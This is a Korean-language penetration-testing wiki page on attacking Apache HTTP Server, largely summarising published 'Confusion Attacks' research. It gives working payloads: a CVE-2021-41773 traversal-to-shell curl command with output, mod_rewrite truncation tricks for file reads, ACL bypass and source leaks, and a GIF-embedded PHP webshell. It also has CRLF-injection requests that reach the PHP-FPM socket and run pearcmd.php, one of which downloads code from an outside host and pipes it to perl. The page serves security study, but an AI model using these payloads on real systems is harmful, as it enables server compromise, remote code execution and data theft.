Apache

Reading time: 9 minutes

실행 가능한 PHP 확장

Apache 서버가 실행하고 있는 확장을 확인하십시오. 이를 검색하려면 다음을 실행할 수 있습니다:

grep -R -B1 "httpd-php" /etc/apache2

또한, 이 구성을 찾을 수 있는 몇 가지 장소는:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

혼란 공격

이러한 유형의 공격은 오렌지의 블로그 게시물에서 소개되고 문서화되었으며, 다음은 요약입니다. "혼란" 공격은 기본적으로 Apache를 생성하는 수십 개의 모듈이 완벽하게 동기화되지 않는 방식을 악용하며, 그 중 일부가 예상치 못한 데이터를 수정하게 되면 이후 모듈에서 취약점이 발생할 수 있습니다.

파일 이름 혼란

잘림

**mod_rewrite**는 r->filename의 내용을 문자 ? 이후로 잘라냅니다 (modules/mappers/mod_rewrite.c#L4141). 이는 대부분의 모듈이 r->filename을 URL로 처리하기 때문에 완전히 잘못된 것은 아닙니다. 그러나 다른 경우에는 파일 경로로 처리되어 문제가 발생할 수 있습니다.

• 경로 잘림

다음 규칙 예제와 같이 mod_rewrite를 악용하여 파일 시스템 내의 다른 파일에 접근할 수 있으며, 예상 경로의 마지막 부분을 제거하고 단순히 ?를 추가할 수 있습니다:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`

• 오해를 일으키는 RewriteFlag 할당

다음 리라이트 규칙에서 URL이 .php로 끝나는 한, php로 처리되고 실행됩니다. 따라서 ? 문자 뒤에 .php로 끝나는 URL을 보내면서 경로에 악성 php 코드가 포함된 다른 유형의 파일(예: 이미지)을 로드하는 것이 가능합니다:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL 우회

사용자가 접근할 수 없어야 하는 파일에 접근할 수 있는 가능성이 있으며, 접근이 거부되어야 하는 구성에서도 가능합니다:

<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

이것은 기본적으로 PHP-FPM이 .php로 끝나는 URL을 수신하기 때문입니다. 예를 들어 http://server/admin.php%3Fooo.php와 같이, PHP-FPM은 ? 문자 이후의 모든 것을 제거하므로, 이전 규칙이 이를 금지했더라도 /admin.php를 로드할 수 있게 됩니다.

DocumentRoot Confusion

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Apache에 대한 재미있는 사실은 이전 재작성 과정에서 documentRoot와 root 모두에서 파일에 접근하려고 시도한다는 것입니다. 따라서 https://server/abouth.html에 대한 요청은 파일 시스템에서 /var/www/html/about.html과 /about.html을 확인합니다. 이는 기본적으로 파일 시스템의 파일에 접근하는 데 악용될 수 있습니다.

서버 측 소스 코드 노출

• CGI 소스 코드 노출

끝에 %3F를 추가하는 것만으로도 cgi 모듈의 소스 코드를 유출할 수 있습니다:

curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi

• PHP 소스 코드 공개

서버에 여러 도메인이 있고 그 중 하나가 정적 도메인인 경우, 이를 악용하여 파일 시스템을 탐색하고 php 코드를 유출할 수 있습니다:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

로컬 가젯 조작

이전 공격의 주요 문제는 기본적으로 대부분의 파일 시스템에 대한 접근이 거부된다는 것입니다. 이는 Apache HTTP Server의 구성 템플릿에서 확인할 수 있습니다:

<Directory />
AllowOverride None
Require all denied
</Directory>

그러나 Debian/Ubuntu 운영 체제는 기본적으로 /usr/share를 허용합니다:

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

따라서 이러한 배포판에서 /usr/share 내부에 위치한 파일을 악용할 수 있습니다.

정보 유출을 위한 로컬 가젯

• websocketd가 포함된 Apache HTTP Server는 **/usr/share/doc/websocketd/examples/php/**에 dump-env.php 스크립트를 노출할 수 있으며, 이는 민감한 환경 변수를 유출할 수 있습니다.
• Nginx 또는 Jetty가 있는 서버는 기본 웹 루트 아래에 위치한 민감한 웹 애플리케이션 정보를 노출할 수 있습니다:
• /usr/share/nginx/html/
• /usr/share/jetty9/etc/
• /usr/share/jetty9/webapps/

XSS를 위한 로컬 가젯

• LibreOffice가 설치된 Ubuntu Desktop에서 도움말 파일의 언어 전환 기능을 악용하면 **교차 사이트 스크립팅(XSS)**으로 이어질 수 있습니다. /usr/share/libreoffice/help/help.html에서 URL을 조작하면 악성 페이지나 이전 버전으로 리디렉션될 수 있습니다 안전하지 않은 RewriteRule을 통해.

LFI를 위한 로컬 가젯

• PHP 또는 JpGraph 또는 jQuery-jFeed와 같은 특정 프론트엔드 패키지가 설치된 경우, 이들의 파일을 악용하여 /etc/passwd와 같은 민감한 파일을 읽을 수 있습니다:
• /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
• /usr/share/javascript/jquery-jfeed/proxy.php
• /usr/share/moodle/mod/assignment/type/wims/getcsv.php

SSRF를 위한 로컬 가젯

• /usr/share/php/magpierss/scripts/magpie_debug.php에 있는 MagpieRSS의 magpie_debug.php를 활용하면 SSRF 취약점을 쉽게 생성할 수 있으며, 이는 추가적인 공격의 게이트웨이를 제공합니다.

RCE를 위한 로컬 가젯

• **원격 코드 실행(RCE)**의 기회는 방대하며, 취약한 설치(예: 구식 PHPUnit 또는 phpLiteAdmin)가 있습니다. 이러한 것들은 임의의 코드를 실행하는 데 악용될 수 있으며, 로컬 가젯 조작의 광범위한 잠재력을 보여줍니다.

로컬 가젯에서의 탈옥

설치된 소프트웨어가 생성한 심볼릭 링크를 따라 허용된 폴더에서 탈옥하는 것도 가능합니다. 예를 들어:

• Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
• Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
• Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
• MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
• SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

또한, 심볼릭 링크를 악용하여 Redmine에서 RCE를 얻는 것이 가능했습니다.

핸들러 혼동

이 공격은 AddHandler와 AddType 지시어 간의 기능 중복을 악용하며, 두 지시어 모두 PHP 처리를 활성화하는 데 사용될 수 있습니다. 원래 이 지시어들은 서버의 내부 구조에서 서로 다른 필드(r->handler 및 r->content_type)에 영향을 미쳤습니다. 그러나 레거시 코드로 인해 Apache는 특정 조건에서 이 지시어들을 서로 교환하여 처리하며, 이전 것이 설정되고 후자가 설정되지 않은 경우 r->content_type을 r->handler로 변환합니다.

또한, Apache HTTP Server(server/config.c#L420)에서 ap_run_handler()를 실행하기 전에 r->handler가 비어 있으면 서버는 r->content_type을 핸들러로 사용하여 AddType과 AddHandler의 효과를 동일하게 만듭니다.

PHP 소스 코드 유출을 위한 핸들러 덮어쓰기

이 발표에서는 클라이언트가 보낸 잘못된 Content-Length가 Apache가 실수로 PHP 소스 코드를 반환하게 만드는 취약점이 제시되었습니다. 이는 ModSecurity와 Apache Portable Runtime (APR)에서의 오류 처리 문제로 인해 발생했으며, 이중 응답이 r->content_type을 text/html로 덮어쓰게 됩니다.
ModSecurity가 반환 값을 제대로 처리하지 않기 때문에 PHP 코드를 반환하고 해석하지 않습니다.

XXXX를 위한 핸들러 덮어쓰기

TODO: Orange는 아직 이 취약점을 공개하지 않았습니다.

임의 핸들러 호출

공격자가 서버 응답에서 Content-Type 헤더를 제어할 수 있다면 임의 모듈 핸들러를 호출할 수 있습니다. 그러나 공격자가 이를 제어하는 시점에서 요청의 대부분의 과정은 완료됩니다. 그러나 Location 헤더를 악용하여 요청 프로세스를 재시작하는 것이 가능합니다. 왜냐하면 r 반환된 Status가 200이고 Location 헤더가 /로 시작하면 응답이 서버 측 리디렉션으로 처리되어야 하기 때문입니다.

RFC 3875 (CGI에 대한 명세)에서 섹션 6.2.2는 로컬 리디렉션 응답 동작을 정의합니다:

CGI 스크립트는 로컬 리소스에 대한 URI 경로와 쿼리 문자열(‘local-pathquery’)을 Location 헤더 필드에 반환할 수 있습니다. 이는 서버에 지정된 경로를 사용하여 요청을 재처리해야 함을 나타냅니다.

따라서 이 공격을 수행하기 위해서는 다음 중 하나의 취약점이 필요합니다:

• CGI 응답 헤더에서 CRLF 주입
• 응답 헤더에 대한 완전한 제어가 있는 SSRF

정보 유출을 위한 임의 핸들러

예를 들어 /server-status는 로컬에서만 접근 가능해야 합니다:

<Location /server-status>
SetHandler server-status
Require local
</Location>

Content-Type를 server-status로 설정하고 Location 헤더를 /로 시작하도록 설정하면 접근할 수 있습니다.

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

임의 핸들러를 통한 전체 SSRF

mod_proxy로 리디렉션하여 모든 URL의 모든 프로토콜에 접근:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

그러나 X-Forwarded-For 헤더가 추가되어 클라우드 메타데이터 엔드포인트에 대한 접근을 방지합니다.

로컬 유닉스 도메인 소켓에 접근하기 위한 임의 핸들러

PHP-FPM의 로컬 유닉스 도메인 소켓에 접근하여 /tmp/에 위치한 PHP 백도어를 실행합니다:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

임의 핸들러를 통한 RCE

공식 PHP Docker 이미지에는 PEAR(Pearcmd.php)가 포함되어 있으며, 이는 RCE를 얻기 위해 악용될 수 있는 명령줄 PHP 패키지 관리 도구입니다:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Docker PHP LFI 요약를 작성한 Phith0n에서 이 기술에 대한 자세한 내용을 확인하세요.

참고문헌

• https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1